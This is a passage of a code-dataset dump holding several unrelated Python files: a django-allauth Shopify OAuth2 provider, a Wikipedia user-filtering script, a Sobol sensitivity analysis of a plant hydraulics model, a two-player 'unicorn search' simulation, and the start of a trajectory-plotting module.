wavenumber vector\n wavnum,kradial = wavenumber_vector(Ni,Nj,dx,dy)\n \n # Apply windowing\n windowed_data = apply_windowing(Ni,Nj,detrended_data,window)\n \n # Estimate 2D spectra\n spec_2D = get_spec_2D(windowed_data,dx,dy,Ni,Nj)\n \n # Average 2D spectra to 1D spectra\n spec_1D = get_spec_1D(kradial,wavnum,spec_2D)\n psd = spec_1D\n return wavnum,psd\n\n","sub_path":"common-lib/PowerSpec.py","file_name":"PowerSpec.py","file_ext":"py","file_size_in_byte":8373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"189008674","text":"import re\nimport requests\n\nfrom django.conf import settings\nfrom django.http import HttpResponse, HttpResponseBadRequest\n\nfrom allauth.exceptions import ImmediateHttpResponse\nfrom allauth.socialaccount.providers.base import ProviderAccount\nfrom allauth.socialaccount.providers.core.oauth2.provider import OAuth2Provider\n\nfrom .views import ShopifyOAuth2LoginView\n\n\nclass ShopifyAccount(ProviderAccount):\n pass\n\n\nclass ShopifyProvider(OAuth2Provider):\n id = 'shopify'\n name = 'Shopify'\n account_class = ShopifyAccount\n \n supports_state = False\n scope_delimiter = ','\n\n login_view_class = ShopifyOAuth2LoginView\n\n @property\n def shop_domain(self):\n shop = self.request.GET.get('shop', '')\n if '.' not in shop:\n shop = '{}.myshopify.com'.format(shop)\n # Ensure the provided hostname parameter is a valid hostname,\n # ends with myshopify.com, and does not contain characters\n # other than letters (a-z), numbers (0-9), dots, and hyphens.\n if not re.match(r'^[a-z0-9-]+\\.myshopify\\.com$', shop):\n raise ImmediateHttpResponse(HttpResponseBadRequest('Invalid `shop` parameter'))\n return shop\n\n access_token_url = 'https://{shop_domain}/admin/oauth/access_token'\n authorize_url = 'https://{shop_domain}/admin/oauth/authorize'\n profile_url = 'https://{shop_domain}/admin/shop.json'\n\n def complete_login(self, request, app, token, **kwargs):\n headers = {'X-Shopify-Access-Token': '{token}'.format(token=token.token)}\n response = requests.get(self.get_profile_url(request), headers=headers)\n extra_data = response.json()\n associated_user = kwargs['response'].get('associated_user')\n if associated_user:\n extra_data['associated_user'] = associated_user\n return self.sociallogin_from_response(request, extra_data)\n\n @property\n def is_per_user(self):\n grant_options = getattr(settings, 'SOCIALACCOUNT_PROVIDERS', {}).get(\n 'shopify', {}).get('AUTH_PARAMS', {}).get('grant_options[]', '')\n return grant_options.lower().strip() == 'per-user'\n\n def get_auth_params(self, request, action):\n ret = super(ShopifyProvider, self).get_auth_params(request, action)\n shop = request.GET.get('shop', None)\n if shop:\n ret.update({'shop': shop})\n return ret\n\n def get_default_scope(self):\n return ['read_orders', 'read_products']\n\n def extract_uid(self, data):\n if self.is_per_user:\n return str(data['associated_user']['id'])\n else:\n return str(data['shop']['id'])\n\n def extract_common_fields(self, data):\n if self.is_per_user:\n return dict(\n email=data['associated_user']['email'],\n first_name=data['associated_user']['first_name'],\n last_name=data['associated_user']['last_name'],\n )\n else:\n # See: https://docs.shopify.com/api/shop\n # Without online mode, User is only available with Shopify Plus,\n # email is the only common field\n return dict(email=data['shop']['email'])\n\n\nprovider_classes = [ShopifyProvider]\n","sub_path":"allauth/socialaccount/providers/financial/shopify/provider.py","file_name":"provider.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"156892510","text":"#!/usr/bin/env python\nfrom __future__ import print_function, division\nfrom optparse import OptionParser\nimport os\nimport sys\nfrom IPy import IP\n\n# add the python directory\nsys.path.insert(0, os.path.abspath(os.path.dirname(__file__))[:-3] + 'python')\n\nfrom WikipediaScraper import *\n\n__author__ = \"Louis Dijkstra\"\n\nusage = \"\"\"%prog <input.csv> \n\n\t<input.csv>\t\tinput file generated by scrape-users.py\n\nOutputs a list of all unique users in the <input.csv>. \nSee for filter options, the list below.\n\"\"\"\n\ndef is_anonymized(username): \n\t\"\"\"\n\t\tReturns True when the user is anonymous, otherwise False. \n\t\"\"\"\n\ttry: \n\t\tIP(username)\n\t\treturn True\n\texcept: \n\t\treturn False\n\ndef is_bot(username): \n\t\"\"\"\n\t\tReturns True when the user is a bot, otherwise False. \n\t\"\"\"\n\tif 'bot' in username.lower(): \n\t\treturn True\n\treturn False\n\ndef main():\n\n\tparser = OptionParser(usage=usage)\t\n\tparser.add_option(\"--add-columns\", action=\"store_true\", dest=\"add_classification\", default=False, \n\t\t\t\t \t\t\thelp=\"Adds the user classifications (bots/users) as a column\")\n\tparser.add_option(\"--no-anonymized\", action=\"store_true\", dest=\"no_anonymized\", default=False, \n\t\t\t\t \t\t\thelp=\"No anonymized users\")\n\tparser.add_option(\"--no-bots\", action=\"store_true\", dest=\"no_bots\", default=False, \n\t\t\t\t \t\t\thelp=\"No bots\")\n\tparser.add_option(\"-m\", action=\"store\", dest=\"min\", default=0, type=int, \n\t\t\t\t \t\t\thelp=\"Minimal number of revisions (Default: no threshold)\")\n\t(options, args) = parser.parse_args()\n\t\n\t# process arguments\n\tif (len(args)!=1):\n\t\tparser.print_help()\n\t\treturn 1\n\n\tinputfile = open(args[0], 'r')\n\t\n\t# ignore the header\n\tnext(inputfile)\n\n\tusers = set() # initialize user set\n\n\tfor line in inputfile: \n\t\tline = line.split('\\t')\n\t\tusername = line[1].strip()\n\t\tn_edits = int(line[2].strip())\n\n\t\tif options.no_bots: # check whether it's a bot\n\t\t\tif is_bot(username): \n\t\t\t\tcontinue\n\n\t\tif n_edits < options.min: # sufficient edits\n\t\t\tcontinue\n\n\t\tif options.no_anonymized: # check whether its an ip address\n\t\t\tif is_anonymized(username): \n\t\t\t\tcontinue\n\n\t\tusers.add(username)\n\n\tif options.add_classification: \n\t\tprint('user\\tbot\\tip')\n\t\tfor user in users: \n\t\t\tprint(user, end = '\\t')\n\n\t\t\tif is_bot(user): \n\t\t\t\tprint('True', end = '\\t')\n\t\t\telse: \n\t\t\t\tprint('False', end = '\\t')\n\n\t\t\tif is_anonymized(user): \n\t\t\t\tprint('True')\n\t\t\telse: \n\t\t\t\tprint('False')\n\telse: \n\n\t\tfor user in users: \n\t\t\tprint(user)\n\n\t\nif __name__ == '__main__':\n\tsys.exit(main())","sub_path":"bin/get-unique-users.py","file_name":"get-unique-users.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"316778841","text":"from SALib.sample import saltelli\nfrom SALib.analyze import sobol\nimport numpy as np\nimport pandas as pd\nfrom scipy import optimize\nfrom Functions import kxf, pxminf, pxf2\n\n# read MCMC input\ndf = pd.read_csv('../../../Data/UMB_daily_average_Gil_v2.csv')\n\ndf = df[['T', 'I', 'D', 'ps15', 'ps30', 'ps60', 'day_len']]\ndf = df.dropna()\n\n# Sobol parameters\nparas = ['alpha_log10', 'c_log10', 'g1_log10', 'kxmax_log10', 'p50', 'ps']\nproblem = {'num_vars': len(paras),\n 'names': paras,\n 'bounds': [[-2, 4],\n [0.7, 1.5],\n [-1, 5],\n [-1, 7],\n [-10, -0.1],\n [-2, 0]]}\nsample_size = 5*(2*len(paras)+2)*1000\npar1 = saltelli.sample(problem, sample_size)\n\n# Find domain\ndef testf(X, env, Vcmax=60, Jmax=120, ca=400, Kc=460, q=0.3, R=8.314, z1=0.9, z2=0.9999, a=1.6, L=1):\n alpha_log10, c_log10, g1_log10, kxmax_log10, p50, ps = X\n c, g1, kxmax = 10**c_log10, 10**g1_log10, 10**kxmax_log10\n T, I, D, dayi = env\n pxmin = pxminf(ps, p50)\n pxmax = optimize.minimize_scalar(pxf2, bounds=(pxmin, ps), method='bounded', args=(T, I, D, ps, Kc, Vcmax, ca, q, Jmax, z1, z2, R, g1, c, kxmax, p50, a, L))\n px1 = pxf2(pxmin, T, I, D, ps, Kc, Vcmax, ca, q, Jmax, z1, z2, R, g1, c, kxmax, p50, a, L)\n px2 = pxf2(pxmax.x, T, I, D, ps, Kc, Vcmax, ca, q, Jmax, z1, z2, R, g1, c, kxmax, p50, a, L)\n return px1*px2\n# model\ndef muf(X, env, Vcmax=60, Jmax=120, ca=400, Kc=460, q=0.3, R=8.314, z1=0.9, z2=0.9999, a=1.6, L=1):\n alpha_log10, c_log10, g1_log10, kxmax_log10, p50, ps = X\n alpha, c, g1, kxmax = 10**alpha_log10, 10**c_log10, 10**g1_log10, 10**kxmax_log10\n T, I, D, dayi = env\n pxmin = pxminf(ps, p50)\n pxmax = optimize.minimize_scalar(pxf2, bounds=(pxmin, ps), method='bounded', args=(T, I, D, ps, Kc, Vcmax, ca, q, Jmax, z1, z2, R, g1, c, kxmax, p50, a, L))\n px = optimize.brentq(pxf2, pxmin, pxmax.x, args=(T, I, D, ps, Kc, Vcmax, ca, q, Jmax, z1, z2, R, g1, c, kxmax, p50, a, L))\n return kxf(px, kxmax, p50)*(ps-px)*dayi/alpha\n\n# Sobol analysis\nST = []\nS1 = []\nDays = range(len(df))\nfor d in Days: \n # Analysis\n badindex = []\n for j, X in enumerate(par1):\n if testf(X, df[['T', 'I', 'D', 'day_len']].iloc[d, :]) >= 0:\n badindex.append(j)\n if j - len(badindex) >= sample_size:\n break\n \n par2 = np.delete(par1, badindex, 0)\n par2 = par2[0: sample_size]\n \n # analysis\n Y = []\n for X in par2:\n Y.append(muf(X, df[['T', 'I', 'D', 'day_len']].iloc[d, :]))\n \n Si = sobol.analyze(problem, np.array(Y))\n ST.append(Si['ST'])\n S1.append(Si['S1'])\n print(d, ' ', Si['ST'], Si['S1'])\n\ndfST = pd.DataFrame(ST, columns=paras, index=list(Days))\ndfS1 = pd.DataFrame(S1, columns=paras, index=list(Days))\ndfST.index.name='Days'\ndfS1.index.name='Days'\n\n## Save to CSV\n#dfS1.to_csv('MCMC_outputs/S1_v2_ps_unk.csv', index=False)\n#dfST.to_csv('MCMC_outputs/ST_v2_ps_unk.csv', index=False)\n","sub_path":"Final model/v2/Sensitivity/filter/ps_unk.py","file_name":"ps_unk.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"175336654","text":"# Class definition for solving \"Seeking the unicorn\" task\n# Edgar Andrade-Lotero 2020\n# Run with Python 3\n# Run from main.py\n# Requires FRA.py\n\nfrom random import choice, uniform, random, sample, randint\nfrom math import floor\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport FRA\n\nDEB = False\nIMPR = False\nTO_FILE = False\n\nCONTINUO = False\nCONTADOR = 1\nTOLERANCIA = 1\n\np_change = 0 # Include some random variation in region picked for the round\n\n#################################\n# Define some functions\n# to obtain measures\n################################\n\ndef obtainPresentBlocks(x):\n\n global CONTADOR\n\n valor = CONTADOR\n\n if x['Is_there'] == 'Unicorn_Present' and x['Is_there_LEAD'] == 'Unicorn_Absent':\n CONTADOR += 1\n\n if pd.isna(x['Is_there_LEAD']):\n CONTADOR += 1\n\n if x['Is_there'] == 'Unicorn_Present':\n return valor\n else:\n return 0\n\ndef nextScore(si, siLead, s, sLEAD):\n if si == 'Unicorn_Absent' and siLead == 'Unicorn_Present' and s > 29 and s > sLEAD:\n return sLEAD\n else:\n return s\n\n###########################\n# Define player objects\n###########################\n\n# Define players\nclass player(object):\n\t'''Object defining a player. Has the following properties:\n\t\tReady; Decision; Strategy; where; score'''\n\tdef __init__(self, Ready, Decision, Strategy, Where, Score, Accuracy, Name):\n\t\tself.ready = Ready\n\t\tself.decision = Decision\n\t\tself.strategy = Strategy\n\t\tself.where = Where\n\t\tself.score = Score\n\t\tself.accuracy = Accuracy\n\t\tself.name = Name\n\n###########################\n# Define Experiment Object\n###########################\nclass Experiment(object):\n\t'''Object defining the experiment and simulation with the following properties:\n\t\tgameParameters, modelParameters'''\n\n\tdef __init__(self, gameParameters, modelParameters):\n\t\tassert(len(gameParameters) == 5), \"Game parameters incorrect length!\"\n\t\tassert(len(modelParameters) == 20), \"Model parameters incorrect length!\"\n\t\tself.gameParameters = gameParameters\n\t\tself.modelParameters = modelParameters\n\n\t\t# Create regions and strategies\n\t\tNum_Loc = gameParameters[2]\n\t\tregions, strategies = FRA.create_regions_and_strategies(Num_Loc)\n\t\t# for r in regions:\n\t\t# \tdibuja_region(r, Num_Loc)\n\n\t\tself.regions = regions\n\t\tself.strategies = strategies\n\n\t\t# Create data frame\n\t\tcols = ['Dyad', 'Round', 'Player', 'Answer', 'Time']\n\t\tcols += ['a' + str(i+1) + str(j+1) for i in range(0, Num_Loc) for j in range(0, Num_Loc)]\n\t\tcols += ['Score', 'Joint', 'Is_there', 'where_x', 'where_y', 'Strategy']\n\t\tself.df = pd.DataFrame(columns=cols)\n\n\tdef run_dyad(self):\n\n\t\tp = self.gameParameters[0] # probability of there being a unicorn (usually 0.5)\n\t\tPl = self.gameParameters[1] # number of players (usually 2)\n\t\tNum_Loc = self.gameParameters[2] # number of locations (squares in a row in the grid; usually 8)\n\t\tN = self.gameParameters[3] # number of iterations per experiment\n\n\t\t# Create players\n\t\tPlayers = []\n\t\tfor k in range(0, Pl):\n\t\t\tstrat = 0 if k == 0 else 9\n\t\t\tPlayers.append(player(False, \"\", strat, [], 0, False, int(uniform(0, 1000000))))\n\t\t\t# print \"Player \" + str(k) + \" chose strategy \" + strat\n\n\t\t# Create dyad name\n\t\tdyad = str(Players[0].name)[:5] + str(Players[1].name)[:5]\n\n\t\t# Start the rounds\n\t\tfor i in range(0, N):\n\n\t\t\t# print \"----------------------------\"\n\t\t\t# print \"Now playing round \" + str(i)\n\t\t\t# print \"----------------------------\"\n\n\t\t\t#Initializing the players for the round\n\t\t\tfor pl in Players:\n\t\t\t\tpl.decision = \"\"\n\t\t\t\tpl.where = []\n\t\t\t\tpl.ready = False\n\t\t\t\tpl.score = 0\n\t\t\t\tpl.accuracy = False\n\n\t\t\t# Initializing the board\n\t\t\tBoard = [0 for l in range(0, Num_Loc * Num_Loc)]\n\n\t\t\t# Determine whether there is a unicorn and where\n\t\t\tplace = -1\n\t\t\tif uniform(0, 1) > p:\n\t\t\t\tplace = int(floor(uniform(0, Num_Loc * Num_Loc - 1)))\n\t\t\t\tBoard[place] = 1\n\n # Include some small random variations in chosen strategy\n\t\t\tstrategies_used = []\n\t\t\tstrat = self.strategies[Players[0].strategy]\n\t\t\t# print(\"strat\")\n\t\t\t# print(strat)\n\t\t\tif uniform(0, 1) < p_change:\n\t\t\t lista = [x for x in range(Num_Loc * Num_Loc) if x not in strat]\n\t\t\t # print(\"lista\")\n\t\t\t # print(lista)\n\t\t\t if len(lista) > 0:\n\t\t\t rt = choice(lista)\n\t\t\t strat.append(rt)\n\t\t\t rt = choice(lista)\n\t\t\t strat.append(rt)\n\t\t\tstrategies_used.append(strat)\n\t\t\tstrat = self.strategies[Players[1].strategy]\n\t\t\tif uniform(0, 1) < p_change:\n\t\t\t lista = [x for x in range(Num_Loc * Num_Loc) if x not in strat]\n\t\t\t if len(lista) > 0:\n\t\t\t rt = choice(lista)\n\t\t\t strat.append(rt)\n\t\t\t rt = choice(lista)\n\t\t\t strat.append(rt)\n\t\t\tstrategies_used.append(strat)\n\n\t\t\t# Start searchging for the unicorn\n\t\t\tfor j in range(0, Num_Loc * Num_Loc + 1):\n\t\t\t\t# print(\"\\nRunning iteration \" + str(j))\n\t\t\t\tfor k in range(0, Pl):\n\t\t\t\t\t# See if other player said present. If so, do the same\n\t\t\t\t\tif Players[1 - k].decision == \"Present\":\n\t\t\t\t\t\tPlayers[k].decision = \"Present\"\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \" said Present\")\n\t\t\t\t\t\tPlayers[k].ready = True\n\t\t\t\t\t\tbreak\n\t\t\t\t\t# If the other player did not say Present, and\n\t\t\t\t\t# current player is not ready, then...\n\t\t\t\t\telif not Players[k].ready:\n\t\t\t\t\t\t# ...look at the location determined by the strategy\n\t\t#\t\t\t\tprint(\"Player \" + str(k) + \" is using strategy: \" + \\\n\t\t#\t\t\t\t\tstr(Players[k].strategy))\n\t\t#\t\t\t\tprint(\"He is looking on location: \" + str(strategies[Players[k].strategy]))\n\t\t\t\t\t\t# See if the strategy is not over...\n\t\t\t\t\t\tif j<len(strategies_used[k]):\n\t\t\t\t\t\t\tsearch_place = strategies_used[k][j]\n\t\t\t\t\t\t\tPlayers[k].where.append(search_place)\n\t\t\t\t\t\t\t# print(\"Player \" + str(k) + \" is searching at \" + str(search_place))\n\t\t\t\t\t\t\tif Board[search_place] == 1:\n\t\t\t\t\t\t\t\tPlayers[k].decision = \"Present\"\n\t\t\t\t\t\t\t\t# print(\"Player \" + str(k) + \" said Present\")\n\t\t\t\t\t\t\t\tPlayers[k].ready = True\n\t\t\t\t\t\t\t# else: print(\"Player \" + str(k) + \" found no unicorn\")\n\t\t\t\t\t\t# Otherwise, say Absent\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# The strategy is over, so bet for Absent\n\t\t\t\t\t\t\tPlayers[k].decision = \"Absent\"\n\t\t\t\t\t\t\t# print(\"Player \" + str(k) + \" said Absent\")\n\t\t\t\t\t\t\tPlayers[k].ready = True\n\t\t\t\t\t# Chechk if both players are ready. If so, stop search\n\t\t\t\t\telif Players[1-k].ready == True:\n\t\t\t\t\t\tbreak\n\t\t\t\telse: continue\n\t\t\t\tbreak\n\n\t\t\t# print(\"\\n\")\n\n\t\t\t# Determine locations visited by both players\n\t\t\t# both = [x for x in Players[0].where if x in Players[1].where]\n\t\t\tboth = list(set(Players[0].where).intersection(set(Players[1].where)))\n\t\t\t# print(\"Locations checked by both players: \" + str(both))\n\t\t\t# print(\"The players checked on the same locations \" + str(len(both)) + \" times\")\n\n\t\t\t# Create row of data as dictionary\n\t\t\trow_of_data = {}\n\n\t\t\t# Save data per player\n\t\t\tfor k in range(0, Pl):\n\n\t\t\t\t# Determine individual scores\n\t\t\t\tif place == -1:\n\t\t\t\t\t# print(\"There was NO unicorn\")\n\t\t\t\t\tif Players[k].decision == \"Absent\":\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s answer is Correct!\")\n\t\t\t\t\t\tPlayers[k].accuracy = True\n\t\t\t\t\t\tPlayers[k].score = Num_Loc*Num_Loc/2 - len(both)\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s score this round is: \" + \\\n\t\t\t\t\t\t# \tstr(Players[k].score))\n\t\t\t\t\telse:\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s answer is Incorrect!\")\n\t\t\t\t\t\tPlayers[k].accuracy = False\n\t\t\t\t\t\tPlayers[k].score = -Num_Loc*Num_Loc - len(both)\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s score this round is: \" + \\\n\t\t\t\t\t\t# \tstr(Players[k].score))\n\t\t\t\telse:\n\t\t\t\t\t# print(\"There was a unicorn\")\n\t\t\t\t\tif Players[k].decision == \"Present\":\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s answer is Correct!\")\n\t\t\t\t\t\tPlayers[k].accuracy = True\n\t\t\t\t\t\tPlayers[k].score = Num_Loc*Num_Loc/2 - len(both)\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s score this round is: \" + \\\n\t\t\t\t\t\t# \tstr(Players[k].score))\n\t\t\t\t\telse:\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s answer is Incorrect!\")\n\t\t\t\t\t\tPlayers[k].accuracy = False\n\t\t\t\t\t\tPlayers[k].score = -Num_Loc*Num_Loc - len(both)\n\t\t\t\t\t\t# print(\"Player \" + str(k) + \"\\'s score this round is: \" + \\\n\t\t\t\t\t\t# \tstr(Players[k].score))\n\n\t\t\t\trow_of_data['Dyad'] = [dyad]\n\t\t\t\trow_of_data['Round'] = [i + 1]\n\t\t\t\trow_of_data['Player'] = [Players[k].name]\n\t\t\t\trow_of_data['Answer'] = [Players[k].decision]\n\t\t\t\trow_of_data['Time'] = [len(Players[k].where)]\n\t\t\t\tcolA = ['a' + str(i+1) + str(j+1) for i in range(0, Num_Loc) for j in range(0, Num_Loc)]\n\t\t\t\tfor l in range(0, Num_Loc * Num_Loc):\n\t\t\t\t\tif l in Players[k].where:\n\t\t\t\t\t\trow_of_data[colA[l]] = [1]\n\t\t\t\t\telse:\n\t\t\t\t\t\trow_of_data[colA[l]] = [0]\n\t\t\t\trow_of_data['Score'] = [Players[k].score]\n\t\t\t\trow_of_data['Joint'] = [len(both)]\n\t\t\t\tif place == -1:\n\t\t\t\t\trow_of_data['Is_there'] = [\"Unicorn_Absent\"]\n\t\t\t\t\trow_of_data['where_x'] = [-1]\n\t\t\t\t\trow_of_data['where_y'] = [-1]\n\t\t\t\telse:\n\t\t\t\t\trow_of_data['Is_there'] = [\"Unicorn_Present\"]\n\t\t\t\t\tx = place % Num_Loc\n\t\t\t\t\ty = (place - x) / Num_Loc\n\t\t\t\t\trow_of_data['where_x'] = [x]\n\t\t\t\t\trow_of_data['where_y'] = [y]\n\n\t\t\t\trow_of_data['Strategy'] = [Players[k].strategy]\n\n\t\t\t\t# Add data to dataFrame\n\t\t\t\tdfAux = pd.DataFrame.from_dict(row_of_data)\n\t\t\t\t# print(dfAux)\n\t\t\t\t# print(dfAux.columns)\n\t\t\t\t# Keeping the order of columns\n\t\t\t\tdfAux = dfAux[['Dyad','Round','Player','Answer','Time','a11','a12','a13','a14','a15','a16','a17','a18','a21','a22','a23','a24','a25','a26','a27','a28','a31','a32','a33','a34','a35','a36','a37','a38','a41','a42','a43','a44','a45','a46','a47','a48','a51','a52','a53','a54','a55','a56','a57','a58','a61','a62','a63','a64','a65','a66','a67','a68','a71','a72','a73','a74','a75','a76','a77','a78','a81','a82','a83','a84','a85','a86','a87','a88','Score','Joint','Is_there','where_x','where_y','Strategy']]\n\t\t\t\t# print(dfAux)\n\n\t\t\t\tif TO_FILE:\n\t\t\t\t with open('temp.csv', 'a') as f:\n\t\t\t\t dfAux.to_csv(f, header=False)\n\t\t\t\telse:\n\t\t\t\t self.df = self.df.append(dfAux, ignore_index = True)\n\n\t\t\t\t# print(self.df)\n\t\t\t\t# print(\"Data from player \" + str(k) + \" has been saved\")\n\n\t\t\treg1 = FRA.code2Vector(self.strategies[Players[0].strategy], Num_Loc)\n\t\t\treg2 = FRA.code2Vector(self.strategies[Players[1].strategy], Num_Loc)\n\t\t\tj = FRA.code2Vector(both, Num_Loc)\n\t\t\t# Players determine their next strategy\n\t\t\ta = []\n\t\t\tsc = []\n\t\t\ta.append(Players[0].strategy)\n\t\t\tsc.append(Players[0].score)\n\t\t\ti = Players[0].strategy\n\t\t\ts = Players[0].score\n\t\t\tnewStrategy = FRA.chooseStrategy(reg1, i, s, j, 0, self.modelParameters, Num_Loc)\n\t\t\tPlayers[0].strategy = newStrategy\n\t\t\t# print('newStrategy:', newStrategy)\n\t\t\tself.strategies[0] = FRA.new_random_strategy(Num_Loc)\n\n\t\t\t# if not sameRS:\n\t\t\t# \tself.strategies[0] = list(np.random.choice(Num_Loc * Num_Loc, np.random.randint(Num_Loc * Num_Loc)))\n\t\t\t# \twhile len(self.strategies[0]) < 2 or len(self.strategies[0]) > 62:\n\t\t\t# \t self.strategies[0] = list(np.random.choice(Num_Loc * Num_Loc, np.random.randint(Num_Loc * Num_Loc)))\n\t\t\t# else:\n\t\t\t# \tprint('Do not randomize for player 0')\n\n\t\t\ta.append(Players[1].strategy)\n\t\t\tsc.append(Players[1].score)\n\t\t\t# newStrategy, sameRS = self.chooseStrategy(Players[1].strategy, Players[1].score, both)\n\t\t\ti = Players[1].strategy\n\t\t\ts = Players[1].score\n\t\t\tnewStrategy = FRA.chooseStrategy(reg2, i, s, j, 1, self.modelParameters, Num_Loc)\n\t\t\t# print('newStrategy:', newStrategy)\n\t\t\tif newStrategy == 0:\n\t\t\t\tnewStrategy = 9\n\t\t\tPlayers[1].strategy = newStrategy\n\t\t\tself.strategies[9] = FRA.new_random_strategy(Num_Loc)\n\n\t\t\t# if not sameRS:\n\t\t\t# \tself.strategies[9] = list(np.random.choice(Num_Loc * Num_Loc, np.random.randint(Num_Loc * Num_Loc)))\n\t\t\t# \twhile len(self.strategies[9]) < 2 or len(self.strategies[9]) > 62:\n\t\t\t# \t self.strategies[9] = list(np.random.choice(Num_Loc * Num_Loc, np.random.randint(Num_Loc * Num_Loc)))\n\t\t\t# else:\n\t\t\t# \tprint('Do not randomize for player 1')\n\n\t\t\tif DEB:\n\t\t\t\tprint('-----------------')\n\t\t\t\tprint('both', len(both))\n\t\t\t\tprint('scores: p0: ', sc[0], ' p1: ', sc[1])\n\t\t\t\tprint('Player 0 from region ', FRA.nameRegion(a[0]), 'to region ', FRA.nameRegion(Players[0].strategy))\n\t\t\t\tprint('Player 1 from region ', FRA.nameRegion(a[1]), 'to region ', FRA.nameRegion(Players[1].strategy))\n\t\t\t\tprint('End summary round ', i)\n\t\t\t\tprint('-----------------')\n\t\t\t\t# dibuja_region(j, 8)\n\t\t\t\tFRA.dibuja_regiones(reg1, reg2, 8, 'Ok')\n\n\n\tdef run_simulation(self):\n\n\t\tIT = self.gameParameters[4] # number of experiments in a set\n\n\t\tfor h in range(0, IT):\n\t\t\tprint(\"****************************\")\n\t\t\tprint(\"Running dyad no. \", h + 1)\n\t\t\tprint(\"****************************\\n\")\n\t\t\tself.run_dyad()\n\n\tdef run_dyad_with_parameters(self, w, alpha):\n\n self.modelParameters = [w, alpha] + self.modelParameters[2:]\n self.run_dyad()\n","sub_path":"Python codes/EmergenceDCL-este-anterior.py","file_name":"EmergenceDCL-este-anterior.py","file_ext":"py","file_size_in_byte":12592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"25439405","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 6 11:46:58 2019\n\n@author: giuseppelisi\n\"\"\"\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn.functional as F\nimport math\n\nimport sys\nsys.path.append(os.path.join('..','imports'))\n\nimport pydmps\nfrom torchdiffeq import odeint\n\nfrom parameters import directory \nfrom dmp_nn import DMPFunc\n\ndef load_trajectories(directory):\n files = os.listdir(directory)\n trajectories = {}\n for name in files:\n filename = os.path.join(directory,name)\n traj = np.load(filename)\n trajectories[name[:-4]] = traj\n return trajectories \n\n\n\ndef plot_trajectories(trajectories, y_track_dmp, plot_dmp=True):\n if plot_dmp == True:\n all_keys = sorted(trajectories.keys())\n n_traj = len(trajectories)\n # Plotting \n plt.figure(figsize=(2,12)) \n for i_k,key in enumerate(all_keys): \n \n y_des = trajectories[key] \n y_track = y_track_dmp[key]\n \n plt.subplot(n_traj,2,i_k*2+1)\n plt.plot(y_des[:,0],y_des[:,1])\n plt.axis('equal')\n plt.xlim([0, 1])\n plt.ylim([0, 1])\n plt.axis('off')\n \n plt.subplot(n_traj,2,i_k*2+2)\n plt.plot(y_track[:,0],y_track[:,1])\n plt.axis('equal')\n plt.xlim([0, 1])\n plt.ylim([0, 1])\n plt.axis('off')\n \n plt.show()\n \n \ndef plot_ode_output(pred_y,img,all_keys,batch_size_per_digit,plot_ode_out=True,plot_num = 10):\n if plot_ode_out:\n plt.figure(figsize=(14,14))\n n_traj = len(all_keys)\n for i_k in range(n_traj):\n cur_idx = np.arange(i_k*batch_size_per_digit,i_k*batch_size_per_digit+batch_size_per_digit)\n rand_choice = np.random.choice(batch_size_per_digit, plot_num)\n pick_idx = cur_idx[rand_choice]\n for i_p,pick in enumerate(pick_idx):\n spl_i = np.ravel_multi_index([i_k,i_p*2], [n_traj, plot_num*2], order='C')\n plt.subplot(n_traj,plot_num*2,spl_i+1)\n plt.plot(pred_y[:,pick,0],pred_y[:,pick,1])\n plt.xlim([-0.1, 1.1])\n plt.ylim([-0.1, 1.1])\n plt.axis('off')\n \n spl_i = np.ravel_multi_index([i_k,i_p*2+1], [n_traj, plot_num*2], order='C')\n plt.subplot(n_traj,plot_num*2,spl_i+1)\n plt.imshow(img[pick],cmap='gray')\n plt.axis('off')\n \n plt.show() \n \n \n# traj [Time,Trial,Dimensions]\ndef traj2img(traj,width,height,torch_dtype,torch_device,rbf_w=500):\n \n yv, xv = torch.meshgrid([torch.linspace(1., 0., width), torch.linspace(0., 1., height)])\n \n is_training = False\n if rbf_w is None:\n rand_rbf_w = torch.randn((1,traj.size(1),1,1),device=torch_device,dtype=torch_dtype)\n #rand_rbf_w.repeat(traj.size(0),1,traj.size(1),xv.size(0),xv.size(1))\n rand_rbf_w = torch.clamp(rand_rbf_w*300 + 600,min=200)\n rbf_w = rand_rbf_w\n is_training = True\n \n \n xv = xv.unsqueeze(0).unsqueeze(0).type(torch_dtype).to(torch_device)\n yv = yv.unsqueeze(0).unsqueeze(0).type(torch_dtype).to(torch_device)\n x_traj = traj[:,:,0].unsqueeze(-1).unsqueeze(-1)\n y_traj = traj[:,:,1].unsqueeze(-1).unsqueeze(-1)\n \n w = torch.max((torch.exp(-((xv-x_traj)**2+(yv-y_traj)**2)*rbf_w)),dim=0)[0]\n \n if is_training == True:\n w[w<0.6] = 0#torch.exp(w)\n w[w!=0] = 1\n \n kernel_ = np.array([[1,4,1],[4,16,4], [1,4,1]])/16.\n kernel = torch.tensor(kernel_,device=torch_device,dtype=torch_dtype) \n kernel = kernel.unsqueeze(0).unsqueeze(0)\n #kernel = torch.ones((1,1,3,3),device=torch_device,dtype=torch_dtype)\n \n \n w = F.conv2d(w.unsqueeze(1), kernel,padding=1).squeeze()\n \n #w[w!=0] = torch.exp(w[w!=0])\n #w[w<0.01] = 0\n #w[w>0.2]= 1\n \n return w \n\n\ndef generate_trajectories_from_template(batch_size_per_digit,n_bfs,dt,run_time,torch_device,torch_dtype):\n 